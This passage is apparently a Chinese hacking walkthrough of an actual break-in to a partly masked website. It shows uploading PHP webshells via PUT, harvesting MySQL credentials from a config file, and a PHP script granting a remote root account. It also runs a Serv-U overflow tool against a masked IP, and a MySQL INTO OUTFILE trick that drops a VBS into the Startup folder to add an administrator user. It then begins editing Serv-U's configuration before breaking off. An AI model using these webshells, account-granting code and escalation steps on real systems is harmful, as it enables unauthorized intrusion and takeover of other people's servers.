[摘要]RWAMLCDP知道该用户具有:读取(R), 写入(W), 追加(A)等功能, 唯独缺少了"执行(E)"功能!利用PUT命令上传一个一句话的WebShell上去.在浏览器中运行h... RWAMLCDP知道该用户具有:读取(R), 写入(W), 追加(A)等功能, 唯独缺少了"执行(E)"功能!利用PUT命令上传一个一句话的WebShell上去.在浏览器中运行http://www.*****.net/a***lover/photo/gallery/webshell.php?cmd=dir,出现: Warning:passthru():Unabletofork[dir]inD:\s***n\a***lover\photo\gallery\webshell.phponline1 看来外部命令不能执行,管理员一定作了相应设置.再上传一个phpinfo.php文件在浏览器中运行:http://www.*****.net/a***lover/photo/gallery/phpinfo.php,这时在php.ini变量的设置都显示出来了(当然也你可以利用CASI看c:\windows\php.ini的内容)!外部命令不能执行的原因在此: 引用内容 safe_mode Off Off safe_mode_exec_dir no value no value safe_mode_gid Off Off safe_mode_include_dir no value no value 接下来上传一个自己编的仅带有浏览, 拷贝, 重命名, 删除文件和上传文件五个功能的PHPSHELL:CMD.PHP 注: 由于时间仓促代码界面没优化好, 在dir文本框中输入要浏览的目录名称;copy文本框中,上面输入源文件如d:\web\cmd.php, 下面输入目标 文件如d:\web\cmdbak.php;del文本框中输入要删除的文件名如:d:\web\cmdbak.php;ren命令与copy命令相似; 点浏览按钮,选择你要上传的文件,然后点upload按钮,就上传到与本SHELL相同的目录下了. 运行: http://www.*****.net/ a***lover/photo/gallery/cmd.php,利用dir命令,可以看D盘,C:\windows,以及C:\Program Files下的内容,而且对D盘还有写权限!在通过copy命令把想下载的软件考到WEB目录下下载下来了^_^ 如何才能把文件写到只读的C盘上呢?这就要通过MYSQL了!但是MYSQL没有远程连接啊!没有条件创造条件,看文章系统的配置文件config.inc.php的内容了吗? $dbhost="localhost";//数据库主机名 $dbuser="root";//数据库用户名 $dbpass="******";//数据库密码 $dbname="article";//数据库名 数据库用户名和密码都知道了, 可惜的是本地用户, 然而我们能不能通过本地有最高权限用户root来添加个远程用户呢?答案是肯定的。 为此专门写了个程序adduser.php利用已知的有ROOT权限的帐号添写加远程ROOT权限的帐号, 内容如下: 引用内容 $dbh=mysql_connect('localhost:3306','root','*****');// echo mysql_errno().": ".mysql_error()." "; mysql_select_db('mysql'); echo mysql_errno().": ".mysql_error()." "; $query="GRANT ALL PRIVILEGES ON *.* TO username@'%'IDENTIFIED BY 'password' WITH GRANT OPTION"; $res=mysql_query($query, $dbh); echo mysql_errno().": ".mysql_error()." "; $err=mysql_error(); if($err){ echo "ERROR!"; } else{ echo "ADD USER OK!"; } ?> 利用cmd.php上传adduser.php执行后, 就在库中添加了一个远程ROOT帐号, 就可以用CASI带的MYSQL连接器连上了!!它可以把MYSQL库关了!!用牛族可方便的浏览表中的记录!!如下图:带%号的用户为添加的远程用户。 二:权限的提升 FTP是ServU5.0.0.4又有用户名和密码,自然会想到是否存在益处, 在网上搜个工具sftp 行Sftp -I 211.92.***.*** -u b*****b -p ****** -t 1 -o 1 -p 21后没有溢出成功 www.arpun.com , 看来是管理员打了补丁!哪只好想别的办法了!(-I 表示ip地址,-u 用户名,-p 密码-o操作系统类型,-p 端口号) 以下总结了几种提升权限的方法供大参考: 方法一、打开牛族MYSQL连接器, 在命令行上输入: user download; create table cmdphp (cmd TEXT); insert into cmdphp values("set wshshell=createobject(\"wscript.shell\")"); insert into cmdphp values("a=wshshell.run(\"cmd.exe /c net user hello hello\",0)"); insert into cmdphp values("b=wshshell.run(\"cmd.exe /c net user localgroup administrators hello /add\",0)"); select * from cmdphp into outfile "c:\\Documents and Settings\\Administrator\\[开始]菜单\\程序\\启动\\cmdphp.vbs"; 注 意:在路径中要用"\\"而不是"\", 要加双引号时, 前面必需加"\"。 原理是:我们在download数据库中, 建了一个表cmdphp, 表中共一个 字段cmd, 我们把要执行的命令写到表中, 然后在在表中导出到启动菜单中!这样只要一重起后, 我们就会得到一个管理员级的用户hello了。 d:\ s***n\a***lover\photo\gallery 方法二、修改SERV-U的文件ServUDaemon.ini中的相应内容: Password=hq50AAF4CB3FA4EF89C9E9D605B20B2971 HomeDir=c:\ RelPaths=1 TimeOut=600 Access1=D:\s***n\ a***lover\photo\gallery |